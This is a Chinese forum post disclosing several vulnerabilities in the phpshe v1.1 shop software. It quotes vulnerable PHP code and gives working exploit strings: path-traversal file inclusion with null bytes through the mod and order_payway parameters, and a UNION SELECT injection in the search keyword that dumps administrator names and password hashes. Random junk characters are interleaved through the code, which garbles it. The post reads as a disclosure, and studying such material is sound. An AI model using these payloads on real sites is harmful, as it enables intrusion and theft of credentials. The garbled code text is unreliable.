找回密码
 立即注册
查看: 3344|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/- ]" K+ I3 f* a# x
/* Phpshe v1.1 Vulnerability
7 D3 h  h' |: ^% l# h( T8 }/* ========================
- x2 v  M8 c- i4 h/* By: : Kn1f3
. S: Z% G" L6 K$ H/* E-Mail : 681796@qq.com
9 j- @1 Z- h& m' {/ j/*******************************************************/8 N7 T! n9 I" y3 y& ~" e" G
0×00 整体大概参数传输1 X0 T0 Y: a+ E4 H
2 b% A2 g* M  M; W% S: r7 {7 d1 m, H9 x
3 G9 B; \- F! T

- {* Z1 _9 W$ d4 U9 s; z//common.php
- N0 ?" [/ U7 _0 s' X* s9 mif (get_magic_quotes_gpc()) {
- h2 |! r) Q/ o!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
% _/ n9 F( {$ H!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');7 r% z9 l9 f$ u2 s, m% h. W
}+ V- v' p+ ^3 e
else {
* P* l0 W$ a9 q& Q4 B( }, R3 r; `!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
0 \# y0 e) W) X3 t8 b7 D& [!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');8 J9 w( e3 o' v
}
4 P& b1 L( J! F8 |  Qsession_start();
' P9 q  s  c% w$ H* h; \- N. T0 |* b!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 [) ]) b5 R! ?* [!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
! H! b# l, ~7 b: L. B1 d3 R2 _  p- M0 a0 g! m) j" b
0×01 包含漏洞
# c% X( y* o* F+ F2 Y 1 O8 b9 {1 z8 n# K5 l( V. O7 F

$ n" M0 G' @' a- v  }9 U//首页文件, T/ c+ v+ {" U4 x
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% [0 E8 R! d# oinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞2 x- u0 d) Z! o' ^+ C
pe_result();. a: _: A# t, e" `% _! G
?>5 Y' m$ ~/ A" T. X# N! G) Q9 X& e
//common 文件 第15行开始
1 i9 X/ H9 o9 m+ ~url路由配置
! J0 `6 K$ y% ?8 _# d0 \( @$module = $mod = $act = 'index';
# v0 }$ p2 M* L* H9 f& \7 K$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);  I0 J7 P4 H2 Z7 u( s7 |" A/ x
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
6 y4 j9 a0 ^5 j8 o$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);4 K, H8 p! O6 _/ U, n' z" W
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
) s0 F. J  o% u) [# @! d

# P5 \2 j. ^0 C1 q: [

: e5 P3 o$ Y! T! q. K" p; K2 l) n* M 0×02 搜索注入
( h3 y. P# d1 } - j* s. h) J; s; D
<code id="code2">

//product.php文件
9 ]& ~& F/ L) R! [$ T, |% Zcase 'list':. z! k- ?+ F' g, l) y% w. _- z
$category_id = intval($id);
8 [4 I8 N5 o) r, W. x$info = $db->pe_select('category', array('category_id'=>$category_id));
5 c" {# D9 l0 C( J6 x* F//搜索
/ l9 s, l& r1 a5 d' v$sqlwhere = " and `product_state` = 1";' p2 i# {4 u3 _
pe_lead('hook/category.hook.php');6 y; t' w7 l1 j+ w" F, w
if ($category_id) {
% \6 W( }7 _; n' u* ~; R, Gwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
& ], d1 G4 p5 G- p}% i5 G$ Q; i: j$ B, A4 n4 Q! c! [
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
4 [3 T0 j1 Q2 v3 rif ($_g_orderby) {. n( J' |0 h; o7 P6 E3 U
$orderby = explode('_', $_g_orderby);: r8 h5 {0 H" y" l! M6 ]+ u+ z; {
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
6 L5 S  S8 {% f% j6 q. a}+ H% S% y1 @3 T6 T, w4 f" H2 Q2 Y* D: @
else {
, F5 L6 R7 x. j6 |' `  Q# S$sqlwhere .= " order by `product_id` desc";2 E  V6 `2 l3 I7 [. l% e: o3 N
}
: f$ u( e; v; i# I- b/ e8 t$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
" k8 d) a! Q: I9 k//热卖排行/ @! R- O2 {* {# ]& A! D; g, Z2 c8 ?
$product_hotlist = product_hotlist();
; g) r/ G4 a2 v; v9 f//当前路径& ^- S9 }, Y1 Y$ g6 g# a! H
$nowpath = category_path($category_id);8 W! K+ r% d3 b
$seo = pe_seo($info['category_name']);
# @# R7 p$ v6 \) S* z& Winclude(pe_tpl('product_list.html'));+ f/ n5 [; `, _' W$ s* X" C
//跟进selectall函数库
# E: M( _/ D. K% t/ _5 V- c5 vpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
( D2 G1 A& x& m% _! {0 J8 ?{
2 _! f) ?  P. b7 E2 T//处理条件语句4 A/ F1 E9 {: _7 y, D* u& U, F
$sqlwhere = $this->_dowhere($where);- j! g1 L0 J  c- F1 q
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
: y" I, U9 e6 |/ F}
+ u& V$ d& w; z# L; u( q//exp7 U+ Z& L' @0 y8 f
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='18 Q4 x1 ~+ V9 D. I3 U* t) u

</code>
, {5 Q; M7 Q% c ! b+ C2 {$ b5 o( o* ]$ i
0×03 包含漏洞21 p0 Z6 x) }7 p5 M4 ?

9 m' @! f9 N- A' g<code id="code3">

//order.php

case 'pay':

) n# ?" _/ G& ^# t! t6 C0 [
$order_id = pe_dbhold($_g_id);

5 x5 p7 z) I& \5 z! s
$cache_payway = cache::get('payway');


3 G. P1 b" ^: h0 f+ sforeach($cache_payway as $k => $v) {

, d0 [# U& o; Y& ~& ?
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

6 r( H. N! P7 f7 f) }6 b% F: d2 A
if ($k == 'bank') {


9 A& C% p4 i; J: y+ w( E4 N$ j0 j$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


; V7 b: k3 T$ x}


9 M8 p/ g" }% A' _6 ~3 [}


- q9 P0 T7 S0 J- J+ q0 j4 K2 u, G, N$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


' J% x$ W# W- K# T; s+ |& a!$order['order_id'] && pe_error('订单号错误...');

' h0 c4 D7 j6 H' K. I
if (isset($_p_pesubmit)) {

: e' E( M  n& o9 B
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


! y% C( N& R0 e$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

+ @8 F& ~: h$ ], C& p
foreach ($info_list as $v) {


& [; l; O$ o: T% A  f  i6 A$order['order_name'] .= "{$v['product_name']};";/ M# t- f+ Z* X7 y: ?


) O9 k! J9 ~# D8 ~+ q! M}

) j9 X0 J2 v( z9 }5 ~6 c* [
echo '正在为您连接支付网站,请稍后...';

4 `$ h% u6 q/ i6 \3 h
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

+ f( i8 p4 B8 m) [$ F$ M; Y6 u
}//当一切准备好的时候就可以进行"鸡肋包含了"


7 u4 P, s; {- I8 s1 X9 velse {


# Y* g/ w& v" Q' e1 s1 \pe_error('支付错误...');


+ p9 s) A9 i8 V6 x}


* [) E8 T: F" E. [) q}


# @$ w! ?  f: l! s& v$seo = pe_seo('选择支付方式');


: g( _# {, m) `! K! e* q; iinclude(pe_tpl('order_pay.html'));


# [! E" V! m$ c  a# Qbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
1 Y& u" v7 H3 V0 w

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表